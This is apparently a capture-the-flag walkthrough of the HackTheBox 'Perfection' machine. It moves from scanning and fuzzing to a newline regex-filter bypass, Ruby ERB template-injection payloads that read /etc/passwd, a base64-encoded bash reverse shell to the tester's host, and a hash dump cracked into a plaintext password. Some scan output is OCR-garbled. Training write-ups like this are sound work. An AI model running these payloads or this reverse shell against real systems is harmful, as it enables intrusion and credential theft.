

Perfection

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For me IP of the machine is : 10.129.229.121

Lets try pinging it

```
ping 10.129.229.121 -c 5

PING 10.129.229.121 (10.129.229.121) 56(84) bytes of data.
64 bytes from 10.129.229.121: icmp_seq=1 ttl=63 time=101 ms
64 bytes from 10.129.229.121: icmp_seq=2 ttl=63 time=103 ms
64 bytes from 10.129.229.121: icmp_seq=3 ttl=63 time=102 ms
64 bytes from 10.129.229.121: icmp_seq=4 ttl=63 time=245 ms

--- 10.129.229.121 ping statistics ---
5 packets transmitted, 4 received, 20% packet loss, time 4005ms
rtt min/avg/max/mdev = 101.059/137.720/244.704/61.770 ms
```

Alright lets do some port scanning next

Port Scanning

All Port Scan

Open ports

```
PORT STATE SERVICE REASON  
22/tcp open ssh syn-ack  
80/tcp open http syn-ack
```

Now lets try an aggressive scan on these

Aggressive Scan :

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.129.129.121 -o aggressiveScan.txt
```

```
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```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-02 14:11 IST
```

```
Nmap scan report for 10.129.129.121
```

```
Host is up.
```

```
PORT      STATE      SERVICE VERSION
```

```
22/tcp    filtered  ssh
```

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80/tcp    filtered  http
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```
Service detection performed. Please report any incorrect results at https://
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```
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
```

Not much as they are filtered

Now Lets do some directory fuzzing

Directory Fuzzing

```
feroxbuster -u http://10.129.229.121 -t 200 -w
/usr/share/wordlists/dirb/common.txt
```

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```

by Ben "epi" Risher  ver: 2.11.0

Target Url	http://10.129.229.121
Threads	200
Wordlist	/usr/share/wordlists/dirb/common.txt
Status Codes	All Status Codes!
Timeout (secs)	7
User-Agent	feroxbuster/2.11.0
Config File	/home/pks/.config/feroxbuster/ferox-config.toml
Extract Links	true
HTTP methods	[GET]
Recursion Depth	4

Press [ENTER] to use the Scan Management Menu™

```
404      GET     21L    37W          -c Auto-filtering found 404-like response and created
200      GET     32L   220W        13738c http://10.129.229.121/images/checklist.jpg
200      GET     11L    52W          3860c http://10.129.229.121/images/lightning.png
200      GET      6L    12W          142c http://10.129.229.121/css/lato.css
200      GET    103L   387W        3827c http://10.129.229.121/about
200      GET      6L    12W          173c http://10.129.229.121/css/montserrat.css
200      GET    142L   444W        5191c http://10.129.229.121/weighted-grade
200      GET    235L   442W        23427c http://10.129.229.121/css/w3.css
200      GET      4L    66W          31000c http://10.129.229.121/css/font-awesome.min.css
200      GET    101L   390W        3842c http://10.129.229.121/
200      GET      51L   214W        14842c http://10.129.229.121/images/susan.jpg
200      GET    176L   1024W       79295c http://10.129.229.121/images/tina.jpg
[#####] - 19s    4626/4626    0s      found:11      errors:2
[#####] - 18s    4614/4614    256/s    http://10.129.229.121/
```

Directories

200 GET 321 220w 13738c http://10.129.229.121/images/checklist.jpg

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200 GET 11l 52w 3860c http://10.129.229.121/images/lightning.png

200 GET 61 12w 142c http://10.129.229.121/css/lato.css ↗

200 GET 103L 387W 3827c http://10.129.229.121/about ↗

200 GET 61 12w 173c http://10.129.229.121/css/montserrat.css ↗

200 GET 1421 444w 5191c http://10.129.229.121/weighted-g

200 GET 2351 442w 23427c http://10.129.229.121/css/w3.css

200 GET 1011 390W

200 001 1012 0,0W 00420 <http://10.127.227.121>

```
200 GET 51l 214w 14842c http://10.129.229.121/images/susan.jpg ↗  
200 GET 176l 1024w 79295c http://10.129.229.121/images/tina.jpg ↗
```

Now lets see this web application now

Web Application

Default page

The screenshot shows a web page titled "Weighted Grade Calculator". At the top, there is a navigation bar with links for "Home", "About Us", and "Calculate your weighted grade". The main content area features a large title "Weighted Grade Calculator" and a subtitle "A tool to calculate the total grade in a class based on category scores and percentage weights." Below this, there is a section titled "Why we made this" which includes a paragraph about the purpose of the calculator and a small icon of a clipboard with a checklist.

Home About Us Calculate your weighted grade

Weighted Grade Calculator

A tool to calculate the total grade in a class based on category scores and percentage weights.

Why we made this

Here at Secure Student Tools, we know that calculating grades based on complicated weighting can be a bit of a pain. So we sat down and thought: instead of letting students suffer through the headache of calculating weighted grades, why not make a little tool to make life a little bit easier for hard-working students? You're welcome:-)



Nothing here but there is button to weighted grade calculator

Lets see that page now

s Calculate your weighted grade

Weighted Grade Calculator

A tool to calculate the total grade in a class based on category scores and percentage weights.

Calculate your weighted grade

Category	Grade	Weight (%)

Submit

Please enter a maximum of five category names, your grade in them out of 100, and their weight.
Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.

Lets put something in this and capture the response

Calculate your weighted grade

Category	Grade	Weight (%)
test	1	1

Submit

Please enter a maximum of five category names, your grade in them out of 100, and their weight. Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.

Please reenter! Weights do not add up to 100.

I captured this and it asked for 100 lets see this in burp now

I got in repeater now and set where the change may happen

Request		Response	
Pretty	Raw	Pretty	Raw
1 POST /weighted-grade-calc HTTP/1.1		113	<td>
2 Host: 10.129.229.121		114	<td>
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0		115	<input type="number" id="weight5" name="weight5" min="0" max="100" required>
4 Accept:		116	</td>
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jpg,image/webp,image/png,image/svg+xml,*/*;q=0.8		117	<td>
5 Accept-Language: en-US,en;q=0.5		118	</tr>
6 Accept-Encoding: gzip, deflate, br		119	</table>
7 Content-Type: application/x-www-form-urlencoded		120	<button type="submit">
8 Content-Length: 169			Submit
9 Origin: http://10.129.229.121			</button>
0 DNT: 1		121	<p>
1 Sec-GPC: 1		122	Please enter a maximum of five category names, your grade in them out of 100, and their weight. Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.
2 Connection: keep-alive		123	</p>
3 Referer: http://10.129.229.121/weighted-grade		124	</form>
4 Upgrade-Insecure-Requests: 1		125	Please reenter! Weights do not add up to 100.
5 Priority: u=0, i		126	</div>
6		127	</div>
7 category1=test&grade1=1&weight1=1&category2=test&grade2=1&weight2=1&category3=test&grade3=1&weight3=1&category4=test&grade4=1&weight4=1&category5=test&grade5=1&weight5=1		128	<div class="w3-container w3-black w3-center w3-opacity w3-padding-64">
		129	<h1 class="w3-margin w3-xlarge">
		130	Made by Secure Student Tools
		131	</h1>
		132	</div>
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		134	<input checked="" type="checkbox"/> Auto-scroll to match when text changes

Lets make the weights add upto 100

1 POST /weighted-grade-calc HTTP/1.1	120	<p>
2 Host: 10.129.229.121		Please enter a maximum of five category names, your grade
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101		in them out of 100, and their weight. Enter "N/A" into
Firefox/130.0		the category field and 0 into the grade and weight fields
4 Accept:		if you are not using a row.
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/j	121	</p>
pgl,image/webp,image/png,image/svg+xml,*/*;q=0.8		</form>
5 Accept-Language: en-US,en;q=0.5	122	Your total grade is 1%<p>
6 Accept-Encoding: gzip, deflate, br		test: 0%
7 Content-Type: application/x-www-form-urlencoded		</p>
8 Content-Length: 174		<p>
9 Origin: http://10.129.229.121		test: 0%
10 DNT: 1		</p>
11 Sec-GPC: 1		<p>
12 Connection: keep-alive		test: 0%
13 Referer: http://10.129.229.121/weighted-grade		</p>
14 Upgrade-Insecure-Requests: 1		<p>
15 Priority: u=0, i		test: 0%
16		</p>
17 category1=test&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&	123	</div>
category3=test&grade3=1&weight3=20&category4=test&grade4=1&weight4=20&		</div>
category5=test&grade5=1&weight5=20	124	

Ok so we have this i also saw this on the page but there is no exploit for this



Now lets try exploiting this by adding like ; in the category1 here

Content-Type: application/x-www-form-urlencoded	121	the category field and
Content-Length: 177		if you are not using :
Origin: http://10.129.229.121	122	</p>
DNT: 1		</form>
Sec-GPC: 1	123	Malicious input blocked
Connection: keep-alive		</div>
Referer: http://10.129.229.121/weighted-grade	124	</div>
Upgrade-Insecure-Requests: 1	125	</div>
Priority: u=0, i	126	
category1=test;id&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&	127	<div class="w3-container w3-black w3-padding-64">
&category3=test&grade3=1&weight3=20&category4=test&grade4=1&weight4=20&		<h1 class="w3-margin w3-xlarge">
category5=test&grade5=1&weight5=20	128	Made by Secure Student Tools

Gaining Access

Some filtering going on here lets test all of em with ffuf
Save a valid request

```
POST /weighted-grade-calc HTTP/1.1
Host: 10.129.229.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
Origin: http://10.129.229.121
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.129.229.121/weighted-grade
Upgrade-Insecure-Requests: 1
Priority: u=0, i

category1=testFUZZ&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&category3=test&grade3=1&weight3=20&category4=test&grade4=1&
~
```

I added a FUZZ to the end of test here lets run ffuf now

```
ffuf -request weighted.req -request-proto http -w
/usr/share/wordlists/seclists/Fuzzing/special-chars.txt
```

```
ffuf -request weighted.req -request-proto http -w /usr/share/wordlists/seclists/Fuzzing/special-chars.txt
:: -----
:: Threads      : 40
:: Matcher      : Response status: 200-299,301,302,307,401,403,405,500
:: -----
>          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 142ms]
&          [Status: 200, Size: 5295, Words: 1181, Lines: 144, Duration: 142ms]
^          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 145ms]
#          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 155ms]
;          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 209ms]
]          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 220ms]
:          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 220ms]
+          [Status: 200, Size: 5296, Words: 1182, Lines: 144, Duration: 232ms]
.          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 277ms]
-          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 298ms]
(          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4768ms]
=          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4768ms]
,          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4768ms]
!          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4768ms]
~          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4768ms]
"          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4925ms]
\          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4925ms]
/          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4925ms]
<          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4926ms]
-          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4926ms]
.          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 4926ms]
|          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5003ms]
[          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5080ms]
{          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5080ms]
$          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5002ms]
*          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5003ms]
}          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5080ms]
/          [Status: 200, Size: 5296, Words: 1181, Lines: 144, Duration: 5003ms]
?          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5003ms]
)          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5003ms]
@          [Status: 200, Size: 5221, Words: 1174, Lines: 144, Duration: 5080ms]
:: Progress: [32/32] :: Job [1/1] :: 6 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
```

Lets filter out 5221 here

```
ffuf -request weighted.req -request-proto http -w
/usr/share/wordlists/seclists/Fuzzing/special-chars.txt -fs 5221
```

```
ffuf -request weighted.req -request-proto http -w /usr/share/wordlists/seclists/Fuzzing/special-chars.txt -fs 5221
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v2.1.0

:: Method          : POST
:: URL            : http://10.129.229.121/weighted-grade-calc
:: Wordlist        : FUZZ: /usr/share/wordlists/seclists/Fuzzing/special-chars.txt
:: Header          : DNT: 1
:: Header          : Sec-GPC: 1
:: Header          : Referer: http://10.129.229.121/weighted-grade
:: Header          : Upgrade-Insecure-Requests: 1
:: Header          : Priority: u=0, i
:: Header          : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
:: Header          : Accept-Encoding: gzip, deflate, br
:: Header          : Origin: http://10.129.229.121
:: Header          : Content-Type: application/x-www-form-urlencoded
:: Header          : Connection: keep-alive
:: Header          : Host: 10.129.229.121
:: Header          : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp
:: Header          : Accept-Language: en-US,en;q=0.5
:: Data            : category1=testFUZZ&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&category3=test&grad
5=1&weight5=20
:: Follow redirects : false
:: Calibration     : false
:: Timeout         : 10
:: Threads         : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 5221

:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

&          [Status: 200, Size: 5295, Words: 1181, Lines: 144, Duration: 189ms]
+          [Status: 200, Size: 5296, Words: 1182, Lines: 144, Duration: 209ms]
/          [Status: 200, Size: 5296, Words: 1181, Lines: 144, Duration: 309ms]
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

Lets try URL encoding and then testing them

+ is just space and / is new line

So just / is valid now lets test it now

```
category1=test%0a;&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&category3=test&grade3=1&weight3=20&category4=test&grade4=1&weight4=20&category5=test&grade5=1&weight5=20
```

		the category field and if you are not using a </p> </form> Your total grade is 1%<p> test :: 0% </p>
121		
122		
123		

So just %2F just is not a new line and we can bypass the filter this ways as this is just regex that only works on a single line

Lets find SSTI Payload of Ruby now

Found this one from Payload all the things :

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#ruby ↗](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#ruby)

Ruby

Ruby - Basic injections

ERB:

```
<%= 7 * 7 %>
```



Slim:

```
#{ 7 * 7 }
```



Ruby - Retrieve /etc/passwd

```
<%= File.open('/etc/passwd').read %>
```



Ruby - List files and directories

```
<%= Dir.entries('/') %>
```



Ruby - Code execution

Execute code using SSTI for ERB engine.

```
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=open3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=open4('whoami') %><%= @c.readline()%>
```



Lets try the ERB here

(u have to URL encode the % to %25 here)

category1=test%0a<%25=7*7%25>;&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&category3=test&grade3=1&weight3=20&category4=test&grade4=1&weight4=20&category5=test&grade5=1&weight5=20	121	</form>
	122	Your total grade
	123	test 9;: 0% </p> <p>

Now lets try the backticks for code execution

```
1 POST /weighted-grade-calc HTTP/1.1
2 Host: 10.129.229.121
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101
4 Firefox/130.0
5 Accept:
6 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/j
7 xl,image/webp,image/png,image/svg+xml,*/*;q=0.5
8 Accept-Language: en-US,en;q=0.5
9 Accept-Encoding: gzip, deflate, br
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 204
12 Origin: http://10.129.229.121
13 DNT: 1
14 Sec-GPC: 1
15 Connection: keep-alive
16 Referer: http://10.129.229.121/weighted-grade
17 Upgrade-Insecure-Requests: 1
18 Priority: u=0, i
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20 category1=test%0a<%25='cat
21 /etc/passwd %25>;&grade1=1&weight1=20&category2=test&grade2=1&weight2=20
22 &category3=test&grade3=1&weight3=20&category4=test&grade4=1&weight4=20&c
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110
111
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113
114
115
116
117
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121 </form>
122 Your total grade is 1%<p>
123 test
124 root:x:0:0:root:/root:/bin/bash
125 daemon:x:1:1:daemon:/usr/sbin/nologin
126 bin:x:2:2:bin:/bin:/usr/sbin/nologin
127 sys:x:3:3:sys:/dev:/usr/sbin/nologin
128 sync:x:4:65534:sync:/bin:/sync
129 games:x:5:60:games:/usr/games:/usr/sbin/nologin
130 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
131 lp:x:7:1:lp:/var/spool/lpd:/usr/sbin/nologin
132 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
133 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
134 uucpx:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
135 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
136 www-data:x:33:www-data:/var/www:/usr/sbin/nologin
137 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
138 list:x:58:58:Mailing List
139 Manager:/var/list:/usr/sbin/nologin
140 irc:x:39:ircd:/run/ircd:/usr/sbin/nologin
141 gnats:x:41:41:Gnats Bug Reporting System
142 (admin):/var/lib/gnats:/usr/sbin/nologin
143 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
144 _aptx:x:100:65534:/nonexistent:/usr/sbin/nologin
145 systemd-network:x:101:102:systemd Network
146 Management,,,:/run/systemd:/usr/sbin/nologin
147 systemd-resolve:x:102:103:systemd
148 ResolvConf,,,:/run/systemd:/usr/sbin/nologin
149 messagebus:x:103:104:/nonexistent:/usr/sbin/nologin
150 systemd-timesync:x:104:105:system Time
151 Synchronization,,,:/run/systemd:/usr/sbin/nologin
152 pollinate:x:105:1:/var/cache/pollinate:/bin/false
153 sshd:x:106:65534:/run/sshd:/usr/sbin/nologin
154 syslog:x:107:111:/home/syslog:/usr/sbin/nologin
```

Got RCE on this now

to get a revshell im gonna base64 encode the revshell and then post it with base64 -d to decode on there to get a shell to now deal with special character and encoding them on my side

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Perfection git:(main)±1 (0.018s)
cat shell
```

```
bash -i >& /dev/tcp/10.10.16.10/9001 0>&1
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Perfection git:(main)±2 (0.023s)
cat shell | base64
```

YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTAvOTAwMSAgMD4mMQo=

Now start a listener now

```
nc -lnpv 9001  
Listening on 0.0.0.0 9001
```

Now put in the payload like this

```
category1=test%0a<%25=`echo
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvOTAwMSAgMD4mMQo= | base64 -d
|
bash`%25>;&grade1=1&weight1=20&category2=test&grade2=1&weight2=20&category3=test&grade3=1&weight3=20&category4=test&grade4=1&weight4=20&category5=test&grade5=1&weight5=20
```

Here is the payload

```
echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvOTAwMSAgMD4mMQo= | base64 -d | bash
```

And we get out revshell here

```
nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.229.121 37794
bash: cannot set terminal process group (985): Inappropriate ioctl for device
id
bash: no job control in this shell
susan@perfection:~/ruby_app$ id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
susan@perfection:~/ruby_app$ ls
ls

main.rb
public
views
susan@perfection:~/ruby_app$
```

Lets upgrade this a bit

```
susan@perfection:~/ruby_app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
susan@perfection:~/ruby_app$ ls
ls
main.rb  public  views
susan@perfection:~/ruby_app$
```

Here is your user.txt

```
susan@perfection:~/ruby_app$ cd  
cd  
susan@perfection:~$ ls -al  
ls -al  
total 48  
drwxr-x--- 7 susan susan 4096 Feb 26 2024 .  
drwxr-xr-x 3 root root 4096 Oct 27 2023 ..  
lrwxrwxrwx 1 root root 9 Feb 28 2023 .bash_history -> /dev/null  
-rw-r--r-- 1 susan susan 220 Feb 27 2023 .bash_logout  
-rw-r--r-- 1 susan susan 3771 Feb 27 2023 .bashrc  
drwx----- 2 susan susan 4096 Oct 27 2023 .cache  
drwx----- 3 susan susan 4096 Oct 27 2023 .gnupg  
lrwxrwxrwx 1 root root 9 Feb 28 2023 .lessshst -> /dev/null  
drwxrwxr-x 3 susan susan 4096 Oct 27 2023 .local  
drwxr-xr-x 2 root root 4096 Oct 27 2023 Migration  
-rw-r--r-- 1 susan susan 807 Feb 27 2023 .profile  
lrwxrwxrwx 1 root root 9 Feb 28 2023 .python_history -> /dev/null  
drwxr-xr-x 4 root susan 4096 Oct 27 2023 ruby_app  
lrwxrwxrwx 1 root root 9 May 14 2023 .sqlite_history -> /dev/null  
-rw-r--r-- 1 susan susan 0 Oct 27 2023 .sudo_as_admin_successful  
-rw-r----- 1 root susan 33 Oct 2 06:58 user.txt  
-rw-r--r-- 1 susan susan 39 Oct 17 2023 .vimrc  
susan@perfection:~$
```

Vertical PrivEsc

So there is this Migration folder in the home directory of this user

It was sqlite so i ran the sqlite command for it

```

susan@perfection:~/Migration$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Oct 27 2023 .
drwxr-x--- 7 susan susan 4096 Feb 26 2024 ..
-rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db
susan@perfection:~/Migration$ sqlite3 pupilpath_credentials.db .dump

sqlite3 pupilpath_credentials.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);
INSERT INTO users VALUES(1,'Susan Miller','abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f');
INSERT INTO users VALUES(2,'Tina Smith','dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57');
INSERT INTO users VALUES(3,'Harry Tyler','d33a689526d49d32a01986ef5a1a3d2afc0aaeee48978f06139779904af7a6393');
INSERT INTO users VALUES(4,'David Lawrence','ff7aeedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a');
INSERT INTO users VALUES(5,'Stephen Locke','154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8');
COMMIT;
susan@perfection:~/Migration$
susan@perfection:~/Migration$ █

```

Lets copy the Susan's password to a file of our also it looks like sha256

Lets check all of the files owned by this user

```

susan@perfection:~/ruby_app$ find / -user susan -ls 2>/dev/null | grep -v proc
        4      0 crw--w----  1 susan    tty     136,   1 Oct  2 09:26 /dev/pts/1
        3      0 crw--w----  1 susan    tty     136,   0 Oct  2 07:57 /dev/pts/0
  3874      0 -rw-----  1 susan    susan          0 Oct  2 08:30 /tmp/tmp.xOMEaX4WF8
  3872      0 -rw-----  1 susan    susan          0 Oct  2 08:30 /tmp/tmp.6pkfkL999I
 1030      4 drwxr-X---  7 susan    susan        4096 Feb 26 2024 /home/susan
 1020      4 -rw-r--r--  1 susan    susan         39 Oct 17 2023 /home/susan/.vimrc
 1031      4 -rw-r--r--  1 susan    susan         220 Feb 27 2023 /home/susan/.bash_logout
 1032      4 -rw-r--r--  1 susan    susan        3771 Feb 27 2023 /home/susan/.bashrc
 1033      4 -rw-r--r--  1 susan    susan         807 Feb 27 2023 /home/susan/.profile
 3653      0 -rw-r--r--  1 susan    susan          0 Oct 27 2023 /home/susan/_sudo_as_admin_successful
 2196      4 drwx-----  3 susan    susan        4096 Oct 27 2023 /home/susan/.gnupg
 2202      4 -rw-----  1 susan    susan         32 May 14 2023 /home/susan/.gnupg/pubring.kbx
 2233      4 -rw-----  1 susan    susan        1200 May 14 2023 /home/susan/.gnupg/trustdb.gpg
 2232      4 drwx-----  2 susan    susan        4096 Oct 27 2023 /home/susan/.gnupg/private-keys-v1.d
 1066      4 drwxrwxr-x  3 susan    susan        4096 Oct 27 2023 /home/susan/.local
 1067      4 drwx-----  3 susan    susan        4096 Oct 27 2023 /home/susan/.local/share
 1068      4 drwx-----  2 susan    susan        4096 Oct 27 2023 /home/susan/.local/share/nano
 1069      4 drwx-----  2 susan    susan        4096 Oct 27 2023 /home/susan/.cache
 1147      0 -rw-r--r--  1 susan    susan          0 Feb 28 2023 /home/susan/.cache/motd.legal-displayed
susan@perfection:~/ruby_app$ █

```

Lets see the group files by this name

```
susan@perfection:~/ruby_app$ find / -group susan -ls 2>/dev/null | grep -v proc
39937  4 -rw-r----  1 root    susan      625 May 14 2023 /var/mail/susan
3874   0 -rw-----  1 susan    susan        0 Oct  2 08:30 /tmp/tmp.x0NEaXqWF8
3872   0 -rw-----  1 susan    susan        0 Oct  2 08:30 /tmp/tmp.6pkfkl999I
1030   4 drwxr-X---  7 susan    susan      4096 Feb 26 2024 /home/susan
1020   4 -rw-r--r--  1 susan    susan      39 Oct 17 2023 /home/susan/.vimrc
1031   4 -rw-r--r--  1 susan    susan     220 Feb 27 2023 /home/susan/.bash_logout
1065   4 -rw-r-----  1 root    susan      33 Oct  2 06:58 /home/susan/user.txt
1032   4 -rw-r--r--  1 susan    susan     3771 Feb 27 2023 /home/susan/.bashrc
1033   4 -rw-r--r--  1 susan    susan     807 Feb 27 2023 /home/susan/.profile
3653   0 -rw-r--r--  1 susan    susan        0 Oct 27 2023 /home/susan/.sudo_as_admin_successful
2196   4 drwx-----  3 susan    susan      4096 Oct 27 2023 /home/susan/.gnupg
2202   4 -rw-----  1 susan    susan      32 May 14 2023 /home/susan/.gnupg/pubring.kbx
2233   4 -rw-----  1 susan    susan     1200 May 14 2023 /home/susan/.gnupg/trustdb.gpg
2232   4 drwx-----  2 susan    susan      4096 Oct 27 2023 /home/susan/.gnupg/private-keys-v1.d
1066   4 drwxrwxr-x  3 susan    susan      4096 Oct 27 2023 /home/susan/.local
1067   4 drwx-----  3 susan    susan      4096 Oct 27 2023 /home/susan/.local/share
1068   4 drwx-----  2 susan    susan      4096 Oct 27 2023 /home/susan/.local/share/nano
1070   4 drwxr-Xr-x  4 root    susan      4096 Oct 27 2023 /home/susan/ruby_app
1530   4 drwxr-xr-x  2 root    susan      4096 Oct 27 2023 /home/susan/ruby_app/views
2167   4 -rw-r--r--  1 root    susan     3842 Oct 24 2023 /home/susan/ruby_app/views/index.erb
1593   8 -rw-r--r--  1 root    susan     5212 Oct 24 2023 /home/susan/ruby_app/views/weighted_grade_results.erb
2163   8 -rw-r--r--  1 root    susan     5191 Oct 24 2023 /home/susan/ruby_app/views/weighted_grade.erb
1594   4 -rw-r--r--  1 root    susan     3827 Oct 24 2023 /home/susan/ruby_app/views/about.erb
1189   4 -rw-r--r--  1 root    susan     2488 Oct 25 2023 /home/susan/ruby_app/main.rb
1198   4 drwxr-Xr-x  5 root    susan     4096 Oct 27 2023 /home/susan/ruby_app/public
1215   4 drwxr-xr-x  2 root    susan     4096 Oct 27 2023 /home/susan/ruby_app/public/fonts
1220  32 -rw-r--r--  1 root    susan    31428 Apr  3 2023 /home/susan/ruby_app/public/fonts/JTUHjIg1_i6t8kCHKm4532V.
1219   60 -rw-r--r--  1 root    susan    60540 Apr  3 2023 /home/susan/ruby_app/public/fonts/S6uyw4BMUTPHjx4WWw.ttf
1221   4 drwxr-xr-x  2 root    susan     4096 Oct 27 2023 /home/susan/ruby_app/public/css
```

Lets check this mail here

```
susan@perfection:~/ruby_app$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be converted into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

  Tina, your delightful student
susan@perfection:~/ruby_app$
```

So we have the hash and the format of password we can crack this now

```
Candidates.#1....: susan_nasus_134698177 → susan_nasus_465877355  
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210  
  
Session.....: hashcat  
Status.....: Cracked
```

User creds

```
Username : susan
Password : susan_nasus_413759210
```

Got the password lets login via ssh this time

```
ssh susan@10.129.229.121
susan@10.129.229.121's password:

susan@perfection:~ (0s)
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

 System information as of Wed Oct  2 09:34:18 AM UTC 2024

 System load:          0.00244140625
 Usage of /:            56.7% of 5.80GB
 Memory usage:         12%
 Swap usage:           0%
 Processes:             229
 Users logged in:      0
 IPv4 address for eth0: 10.129.229.121
 IPv6 address for eth0: dead:beef::250:56ff:feb9:2663

=> There are 6 zombie processes.

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

susan@perfection ~
```

Got it lets check the sudo permission now

```
susan@perfection ~ (14.58s)
sudo -l

[sudo] password for susan:
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/us
